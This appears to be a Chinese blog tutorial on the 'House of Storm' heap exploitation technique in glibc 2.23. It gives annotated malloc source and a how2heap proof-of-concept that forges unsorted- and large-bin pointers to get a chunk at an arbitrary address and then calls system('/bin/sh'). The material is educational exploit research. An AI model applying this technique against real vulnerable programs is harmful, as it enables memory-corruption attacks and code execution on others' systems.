house of storm是一种结合了unsorted bin attack和large bin attack的攻击技术，其基本原理和large bin attack类似，漏洞发生在unsorted_bin的chunk放入largebin的过程中。
这是glibc2.23中的源码分析
//#define unsorted_chunks(M) (bin_at (M, 1))
//如果unsorted bins不为空，从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//取出unsorted的尾部的chunk
/*
检查当前遍历的 chunk 是否合法，chunk 的大小不能小于等于 2 * SIZE_SZ，
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题，直接使用了 victim->size，但 victim->size
中包含了相关的标志位信息，使用 chunksize(victim) 才比较合理，但在
unsorted bin 中的空闲 chunk 的所有标志位都清零了，所以这里直接
victim->size 没有问题。
*/
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);//获取victim的size
/*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk，且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。
last_remainder 是一个 chunk 指针，分配区上次分配 small chunk 时，
从一个 chunk 中分 裂出一个 small chunk 返回给用户，分裂后的剩余部分
形成一个 chunk，last_remainder 就是 指向的这个 chunk。
*/
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
//分割remainder
remainder_size = size - nb;//计算分割后剩下的size
remainder = chunk_at_offset(victim, nb);//获取remainder的地址
//把remainder加入unsorted bin中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 设置last_remainder为remainder
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果是remainder在large bin的范围，则把fd_nextsize,fd_nextsize清零
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->fd_nextsize = NULL;
}
//设置victim的size
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//设置remainder的size
set_head(remainder, remainder_size | PREV_INUSE);
//设置remainder的物理相邻的下一个chunk的prev_size
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);//默认不做任何操作
void *p = chunk2mem(victim);//将chunk指针转化为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//把victim从unsorted bin 中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
//如果 victim 的size 与申请的size相等，那么就返回其。
if (size == nb) {
//设置victim物理相邻的下一个chunk的prev_inuse位
set_inuse_bit_at_offset(victim, size);
//如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb); // 默认不做任何操作
void *p = chunk2mem(victim);//把chunk转换为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//如果上一步取出的chunk没有匹配成功，那么将该chunk放入对应的bin中
//如果在smallbin的范围,则放到对应多small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);//获取size对应的smallbin的index
bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
//fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
fwd = bck->fd;
}
else//如果不再smallbin的范围，也就是说在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk
//如果large bin 非空，在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的，如果size < large bin
的最后一个chunk，说明size是这个large bin中的最小的，我们把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
fwd = bck;
bck = bck->bk;
/*
large bin 中size最小的chunk的fd_nextsize会指向size最大的
那个chunk，也就是首部的chunk。同样，large bin 中size最大的
chunk的bk_nextsize会指向size最小的那个chunk。
victim的bk_nextsize指向large bin原来最小的chunk，它的
bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize，和原来最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小（从头到尾）找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等，就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等，即size>fwd->size，把victim加入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 为空，将victim加入到纵向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}House Of Storm 可以在任意地址写出chunk地址，进而把这个地址的高位当作size，可以进行任意地址分配chunk
下面依旧是how2heap的例子
// gcc -ggdb -fpie -pie -o house_of_storm house_of_storm.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;
int main()
{
unsigned long *large_chunk,*unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;
unsorted_chunk=malloc(0x418);
malloc(0X20);
large_chunk=malloc(0x408);
malloc(0x20);
free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418); //large_chunk归位
free(unsorted_chunk); // unsorted_chunk归位
//重点一下3步
unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));
return 0;
}我们开始分布解析
显然这是构造一个类似large chunk的fake chunk
struct {
unsigned long presize;
unsigned long size;
unsigned long fd;
unsigned long bk;
unsigned long fd_nextsize;
unsigned long bk_nextsize;
}chunk;
int main()
{
unsigned long *large_chunk,*unsorted_chunk;
unsigned long *fake_chunk = (unsigned long *)&chunk;
char *ptr;
这里提一个小tips大于0x400的chunk是large chunk
unsorted_chunk=malloc(0x418);
malloc(0X20);//防止free时与large_chunk合并
large_chunk=malloc(0x408);
malloc(0x20);//防止free时与top chunk合并free(large_chunk);
free(unsorted_chunk);
unsorted_chunk=malloc(0x418); //large_chunk归位
free(unsorted_chunk); // unsorted_chunk归位unsorted_chunk[1] = (unsigned long )fake_chunk;
large_chunk[1] = (unsigned long )fake_chunk+8;
large_chunk[3] = (unsigned long )fake_chunk-0x18-5;
看到这里可能就是师傅们最难理解的一点了，为什么bk_nextsize跑到了这么奇怪的地方
首先我们需要了解一个检查方式
victim->bk_nextsize->fd_nextsize = victim;Q:现在请师傅们思考一个问题，一个large chunk找自己的fd_nextsize去哪里找呢？
A:应该从自己的起始地址+0x20去找。size、fd、bk、fd_nextsize，但是由于是小端序，size字段的3bit没用，所以只需要在-0x18-5的地方
其实就是在 fake_chunk-5 中写入了 victim
也就是说，链入 unsortedbin 的 fake_chunk 的 size字段 是可能为0x56的，而0x56刚好可以通过 unsortedbin 的检查（注意：size字段 如果为“0x55”，那么P位就是“1”，通不过检查）
接下来程序就会申请到 fake_chunk ，然后在其中写入“/bin/sh”，作为system的参数
__int_malloc在拿到chunk后返回到__libc_malloc，__libc_malloc会对chunk的进行检查，这里如果有错的话会直接crash，但是由于程序有随机化，多运行几次总能有一次成功的。
因为unsorted bin是LIFO,所以我们伪造的victim chunk在我们malloc一个0x48时候正好分配出来，此时达到任意地址写的目的
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh\x00", 0x10);
system(((char *)fake_chunk + 0x10));